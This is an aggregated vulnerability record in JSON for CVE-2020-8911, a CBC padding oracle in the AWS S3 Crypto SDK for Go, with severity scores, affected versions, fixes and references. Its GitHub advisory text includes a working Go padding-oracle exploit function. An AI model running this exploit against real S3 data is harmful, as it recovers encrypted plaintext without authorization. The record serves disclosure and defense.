{"id":"CVE-2020-8911","aliases":["CVE-2020-8911","GHSA-f5pg-7wfw-84q9","GO-2022-0646"],"related":["CGA-wp54-c6q6-q47j"],"kind":"vulnerability","state":"published","title":"CBC padding oracle in AWS S3 Crypto SDK for GoLang","summary":"A padding oracle vulnerability exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. The SDK allows users to encrypt files with AES-CBC without computing a Message Authentication Code (MAC), which then allows an attacker who has write access to the target's S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file, they can reconstruct the plaintext with (on average) 128*length (plaintext) queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors. It is recommended to update your SDK to V2 or later, and re-encrypt your files.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"A padding oracle vulnerability exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. The SDK allows users to encrypt files with AES-CBC without computing a Message Authentication Code (MAC), which then allows an attacker who has write access to the target's S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file, they can reconstruct the plaintext with (on average) 128*length (plaintext) queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors. It is recommended to update your SDK to V2 or later, and re-encrypt your files.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the CBC option was chosen as content cipher.\n\n### Risk/Severity\n\nThe vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data.\n\n### Impact\n\nThis advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non \"strict\" versions of C++ and Java S3 Crypto SDKs being present as well.\n\nV1 prior to 1.34.0 of the S3 crypto SDK, allows users to encrypt files with AES-CBC, without computing a MAC on the data. Note that there is an alternative option of using AES-GCM, which is used in the examples of the documentation and not affected by this vulnerability, but by CVE-2020-8912.\n\nThis exposes a padding oracle vulnerability: If the attacker has write access to the S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file (without observing the file contents that the endpoint learns in the process), they can reconstruct the plaintext with (on average) `128*length(plaintext)` queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors.\n\nThis issue is fixed in V2 of the API, by disabling encryption with CBC mode for new files. Old files, if they have been encrypted with CBC mode, remain vulnerable until they are reencrypted with AES-GCM.\n\n### Mitigation\n\nUsing the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with CBC mode.\n\n### Proof of concept\n\nA [Proof of concept](https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc) is available in a separate github repository.\n\nThis particular issue is described in [padding_oracle_exploit.go](https://github.com/sophieschmieg/exploits/blob/master/aws_s3_crypto_poc/exploit/padding_oracle_exploit.go):\n\n```golang\nfunc PaddingOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) {\n\tdata, header, err := input.S3Mock.GetObjectDirect(bucket, key)\n\tif alg := header.Get(\"X-Amz-Meta-X-Amz-Cek-Alg\"); alg != \"AES/CBC/PKCS5Padding\" {\n\t\treturn \"\", fmt.Errorf(\"Algorithm is %q, not CBC!\", alg)\n\t}\n\tlength, err := strconv.Atoi(header.Get(\"X-Amz-Meta-X-Amz-Unencrypted-Content-Length\"))\n\tpadding := byte(len(data) - length)\n\tplaintext := make([]byte, length)\n\tfor i := length - 1; i >= 0; i-- {\n\t\tnewLength := 16 * (i/16 + 1)\n\t\tdataCopy := make([]byte, newLength)\n\t\theaderCopy := header.Clone()\n\t\tcopy(dataCopy, data)\n\t\t// Set Padding\n\t\tnewPadding := byte(newLength - i)\n\t\tfor j := i + 1; j < newLength; j++ {\n\t\t\tvar oldValue byte\n\t\t\tif j >= length {\n\t\t\t\toldValue = padding\n\t\t\t} else {\n\t\t\t\toldValue = plaintext[j]\n\t\t\t}\n\t\t\tdataCopy, headerCopy, err = xorData(oldValue^newPadding, j, dataCopy, headerCopy)\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t}\n\t\t// Guess\n\t\tfor c := 0; c < 256; c++ {\n\t\t\tdataCopy, headerCopy, err := xorData(byte(c)^newPadding, i, dataCopy, headerCopy)\n\t\t\tinput.S3Mock.PutObjectDirect(bucket, key+\"guess\", dataCopy, headerCopy)\n\t\t\tif input.Oracle(bucket, key+\"guess\") {\n\t\t\t\tplaintext[i] = byte(c)\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tdataCopy, headerCopy, err = xorData(byte(c)^newPadding, i, dataCopy, headerCopy)\n\t\t}\n\t}\n\treturn string(plaintext), nil\n}\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"Se presenta una vulnerabilidad de tipo padding oracle en AWS S3 Crypto SDK para GoLang versiones anteriores a la versión V2. El SDK permite a los usuarios cifrar archivos con AES-CBC sin calcular un Message Authentication Code (MAC), que entonces permite a un atacante que tiene acceso de escritura al depósito S3 del objetivo y puede observar si un endpoint con acceso a la clave puede descifrar un archivo, pueden reconstruir el texto plano con (en promedio) consultas 128*length (en texto sin formato) al endpoint, aprovechando la capacidad de CBC para manipular los bytes del siguiente bloque y los errores de relleno de PKCS5. Se recomienda actualizar su SDK a la versión V2 o posterior y volver a cifrar sus archivos","source":"nvd"}],"published":"2020-08-11T19:20:14.000Z","modified":"2026-09-10T03:49:12.054Z","severity":{"scorer":"Google","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N","score":5.6,"rating":"MEDIUM"},"severities":[{"scorer":"Google","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N","score":5.6,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N","score":5.6,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N","score":5.6,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:2.0","vector":"AV:L/AC:L/Au:N/C:P/I:N/A:N","score":2.1,"rating":"LOW"}],"cwes":["CWE-327"],"affected":[{"ranges":[{"type":"custom","introduced":"stable","lastAffected":"V1","status":"affected"}],"vendor":"Google LLC","product":"AWS S3 Crypto SDK for GoLang","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.34.0"}],"ecosystem":"Go","package":"github.com/aws/aws-sdk-go","purl":"pkg:golang/github.com/aws/aws-sdk-go","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/aws/aws-sdk-go","purl":"pkg:golang/github.com/aws/aws-sdk-go","source":"go"},{"ranges":[{"status":"affected","fixed":"2.0"}],"vendor":"amazon","product":"aws_s3_crypto_sdk","cpe":"cpe:2.3:a:amazon:aws_s3_crypto_sdk:*:*:*:*:*:golang:*:*","source":"nvd"}],"references":[{"url":"https://aws.amazon.com/blogs/developer/updates-to-the-amazon-s3-encryption-client/?s=09","tags":["vendor-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/google/security-research/security/advisories/GHSA-f5pg-7wfw-84q9","tags":["advisory","exploit","third-party-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-8911","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/aws/aws-sdk-go/pull/3403","tags":["fix","web"],"sources":["ghsa","go"]},{"url":"https://github.com/aws/aws-sdk-go/commit/1e84382fa1c0086362b5a4b68e068d4f8518d40e","tags":["fix","web"],"sources":["ghsa","go"]},{"url":"https://github.com/aws/aws-sdk-go/commit/ae9b9fd92af132cfd8d879809d8611825ba135f4","tags":["fix","web"],"sources":["ghsa","go"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=1869800","tags":["web"],"sources":["ghsa","go"]},{"url":"https://github.com/aws/aws-sdk-go","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc","tags":["web"],"sources":["ghsa","go"]},{"url":"https://pkg.go.dev/vuln/GO-2022-0646","tags":["web"],"sources":["ghsa"]}],"credits":["Sophie Schmieg","Sophie Schmieg from the Google ISE team"],"assigner":"Google","sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2020-8911","url":"https://www.cve.org/CVERecord?id=CVE-2020-8911","licence":"CVE Terms of Use","modified":"2024-08-04T10:12:11.063Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-f5pg-7wfw-84q9","url":"https://github.com/advisories/GHSA-f5pg-7wfw-84q9","licence":"CC-BY-4.0","modified":"2026-09-10T03:49:12.054Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2022-0646","url":"https://pkg.go.dev/vuln/GO-2022-0646","licence":"CC-BY-4.0","modified":"2026-02-04T02:16:32.066Z"},{"source":"nvd","name":"NVD","id":"CVE-2020-8911","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-8911","licence":"Public domain","modified":"2026-06-17T03:27:10.323Z"}],"updatedAt":"2026-11-25T22:57:53.975Z","epss":{"score":0.00346,"percentile":0.30207,"date":"2026-12-01T12:00:22.000Z"}}